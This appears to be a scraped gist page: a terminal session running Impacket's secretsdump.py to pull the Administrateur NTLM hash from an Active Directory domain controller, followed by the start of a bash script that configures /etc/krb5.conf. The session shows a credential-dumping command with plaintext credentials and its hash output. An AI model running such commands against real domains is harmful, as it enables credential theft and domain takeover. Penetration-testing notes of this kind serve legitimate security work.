$ python secretsdump.py -history -user-status -just-dc-user Administrateur -just-dc-ntlm foo.local/administrateur:P4ssw0rd\[email protected]
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:6ced6cb821b81327d4b8b096947e0615::: (status=Enabled)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ "$1" == "-h" ]; then | |
echo "Usage: `basename $0` Autoconf of /etc/krb5.conf. Replace default value with your value." | |
echo " -r <REALM> (Your Realm. Ex: FOO)" | |
echo " -k <KDC> (The KDC. Ex: DC1)" | |
echo " -f <FQDN> (The FQDN of your domain. Ex: FOO.LOCAL)" | |
exit 0 | |
fi | |
while getopts r:k:f: option | |
do |